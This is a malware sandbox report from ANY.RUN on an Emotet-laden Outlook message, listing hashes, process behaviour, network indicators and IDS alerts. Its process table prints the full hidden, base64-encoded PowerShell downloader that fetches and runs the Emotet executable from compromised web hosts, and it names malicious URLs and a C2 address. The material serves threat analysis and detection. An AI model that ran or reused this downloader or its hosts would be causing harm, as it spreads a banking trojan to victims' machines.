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File name:

postacert.eml (91.2 KB).msg

Full analysis: https://app.any.run/tasks/71d21dda-2ba4-46df-9f3c-95f118e8a653
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: December 06, 2019, 16:43:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
emotet-doc
emotet
opendir
loader
trojan
Indicators:
MIME: application/vnd.ms-outlook
File info: CDFV2 Microsoft Outlook Message
MD5:

35103DD7219558BCD6DA787D08932B71

SHA1:

0F0498EBA7C5BA388EB16B6FA28AEE6C6CBCD096

SHA256:

3D36BECB412F20F36C4BA79B13FE5FBE47C1CAD113D94596C0BD18D7B63F902E

SSDEEP:

3072:Xx/tR6m6GgYIMF14eOY5CTsdAFaES18t:Xx/tR6m6GgYIM3Tb4S18

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops known malicious document

      • OUTLOOK.EXE (PID: 592)
      • WINWORD.EXE (PID: 1560)

    • Application was dropped or rewritten from another process

      • 543.exe (PID: 3260)
      • 543.exe (PID: 2344)
      • serialfunc.exe (PID: 4000)
      • serialfunc.exe (PID: 3940)

    • Connects to CnC server

      • serialfunc.exe (PID: 4000)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3920)

    • Emotet process was detected

      • 543.exe (PID: 2344)

    • EMOTET was detected

      • serialfunc.exe (PID: 4000)

    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 4000)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • OUTLOOK.EXE (PID: 592)
      • WINWORD.EXE (PID: 1560)

    • Reads Internet Cache Settings

      • OUTLOOK.EXE (PID: 592)

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 592)
      • powershell.exe (PID: 3920)

    • Application launched itself

      • WINWORD.EXE (PID: 1560)

    • PowerShell script executed

      • powershell.exe (PID: 3920)

    • Executed via WMI

      • powershell.exe (PID: 3920)

    • Connects to server without host name

      • serialfunc.exe (PID: 4000)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3920)
      • 543.exe (PID: 2344)

    • Starts itself from another location

      • 543.exe (PID: 2344)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3724)
      • WINWORD.EXE (PID: 1560)
      • OUTLOOK.EXE (PID: 592)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1560)

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 3920)
      • 543.exe (PID: 2344)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.msg | Outlook Message (46.5)
.oft | Outlook Form Template (27.2)
.doc | Microsoft Word document (20.9)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
8
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start outlook.exe winword.exe no specs winword.exe no specs powershell.exe 543.exe no specs #EMOTET 543.exe serialfunc.exe no specs #EMOTET serialfunc.exe

Process information

PID
CMD
Path
Indicators
Parent process
592"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\postacert.eml (91.2 KB).msg"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Version:
14.0.6025.1000
1560"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\4WLCIS2V\20191206_1626817.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3724"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3920powershell -w hidden -en JABFAHcAbABxAHcAeAB0AHcAdwA9ACcAUwBxAGgAaABqAGEAbABwAG0AbwBvACcAOwAkAEQAbwB4AGsAZQBsAGcAbwBkACAAPQAgACcANQA0ADMAJwA7ACQATQBsAHcAZQBjAHIAdwB5AGgAZAB3AHEAPQAnAEcAZgB2AHIAZABxAHYAaABjAHgAYwAnADsAJABQAGgAdABjAGEAbgBkAHoAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABvAHgAawBlAGwAZwBvAGQAKwAnAC4AZQB4AGUAJwA7ACQATgB1AHUAcABpAGQAdgBrAD0AJwBSAHQAagBxAHQAaQBlAGsAcwByAHUAagBnACcAOwAkAEYAeABpAG8AdwByAG8AZwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAEUAYgBDAGwAaQBlAE4AVAA7ACQAQQBmAHQAdgBuAGYAaQBuAHgAZgBwAGEAbAA9ACcAaAB0AHQAcABzADoALwAvAG4AYQBnAGUAbAAuAHAAaQBuAHQAbwBnAG8AbwBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBuAGcAZQA5ADYAOAA4AC8AKgBoAHQAdABwADoALwAvAHIAZQBjAHIAZQBhAHQAZQAuAGIAaQBnAGYAaQBsAG0AcAByAG8AZAB1AGMAdABpAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AMgB4ADgAdgBmADkAagAxADUAMAA3AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBuAGkAbgBlAHQAaQA5AC4AYwBvAG0ALwA2AHUAaQA3AG0ALwB4AGwAcwB3AGQAagA2AC8AKgBoAHQAdABwADoALwAvAGkAbgB2AGkAcwBpAG8AbgAtAG0AZQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOQB6ADMANwA1ADAAMQAvACoAaAB0AHQAcAA6AC8ALwBoAGEAbgBhAGkAbQBjAGgAdQByAGMAaAAuAG4AZQB0AC8AagA2AGQANgA0ADUAYgAvADAANQA5AGQAZwByAHoANwAvACcALgAiAHMAUABgAEwASQBUACIAKAAnACoAJwApADsAJABLAHIAegBmAGkAegBjAHcAbwBqAGUAbQBuAD0AJwBOAGcAdgBpAGQAeAB0AHoAYgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABUAGwAZgBjAHMAbABqAGoAdwBiAHEAagBnACAAaQBuACAAJABBAGYAdAB2AG4AZgBpAG4AeABmAHAAYQBsACkAewB0AHIAeQB7ACQARgB4AGkAbwB3AHIAbwBnAC4AIgBkAG8AdwBOAGwATwBhAGAAZABmAGAAaQBgAGwARQAiACgAJABUAGwAZgBjAHMAbABqAGoAdwBiAHEAagBnACwAIAAkAFAAaAB0AGMAYQBuAGQAegByACkAOwAkAEoAbwBpAGUAbgBiAHMAeABtAHcAPQAnAFgAbwB4AHYAZwBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFAAaAB0AGMAYQBuAGQAegByACkALgAiAGwAZQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA3ADUAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAdABhAGAAUgBUACIAKAAkAFAAaAB0AGMAYQBuAGQAegByACkAOwAkAE8AbgB4AHAAegByAHIAeAA9ACcATgB0AGgAZwBmAHEAbAB1AHEAYQAnADsAYgByAGUAYQBrADsAJABUAGwAbwBhAHgAcwBtAGMAPQAnAEMAbAB0AHEAcABtAHQAZgB1AHkAeQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABVAHAAbwBiAHkAawB3AGcAZgBsAD0AJwBNAGEAegB1AHoAbABkAGUAeAByAHYAbQAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3260"C:\Users\admin\543.exe" C:\Users\admin\543.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2344--fcb73a32C:\Users\admin\543.exe
543.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3940"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe—543.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
4000--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Total events
4 809
Read events
3 364
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
7
Text files
27
Unknown types
9

Dropped files

PID
Process
Filename
Type
592OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVRA6E9.tmp.cvr —
MD5:—
SHA256:—
592OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\~DF8DB660C526842D29.TMP —
MD5:—
SHA256:—
592OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\4WLCIS2V\20191206_1626817 (2).doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
1560WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC473.tmp.cvr —
MD5:—
SHA256:—
1560WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_CDBC1F05-B467-41D8-AD83-21E5D38027A0.0\C19030B6.doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
3724WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_CDBC1F05-B467-41D8-AD83-21E5D38027A0.0\7F8AF55A.wmf —
MD5:—
SHA256:—
3724WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_CDBC1F05-B467-41D8-AD83-21E5D38027A0.0\CD9A5193.wmf —
MD5:—
SHA256:—
3724WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_CDBC1F05-B467-41D8-AD83-21E5D38027A0.0\E4B1B678.wmf —
MD5:—
SHA256:—
3724WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_CDBC1F05-B467-41D8-AD83-21E5D38027A0.0\3D721419.wmf —
MD5:—
SHA256:—
3724WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_CDBC1F05-B467-41D8-AD83-21E5D38027A0.0\893DFB46.wmf —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
5
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3920
powershell.exe
GET
200
206.221.182.74:80
http://recreate.bigfilmproduction.com/wp-includes/2x8vf9j1507/
US
executable
464 Kb
malicious
4000
serialfunc.exe
POST
200
47.146.42.234:80
http://47.146.42.234/mQFUA8
US
flc
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4000
serialfunc.exe
47.146.42.234:80
—
Frontier Communications of America, Inc.
US
malicious
3920
powershell.exe
185.126.218.176:443
nagel.pintogood.com
Netinternet Bilisim Teknolojileri AS
TR
suspicious
3920
powershell.exe
206.221.182.74:80
recreate.bigfilmproduction.com
Choopa, LLC
US
malicious
592
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
nagel.pintogood.com
  • 185.126.218.176
suspicious
recreate.bigfilmproduction.com
  • 206.221.182.74
malicious

Threats

PID
Process
Class
Message
3920
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
3920
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
3920
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
3920
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
3920
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3920
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3920
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4000
serialfunc.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 20
4000
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
4000
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
No debug info
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Reports
postacert.eml (91.2 KB).msg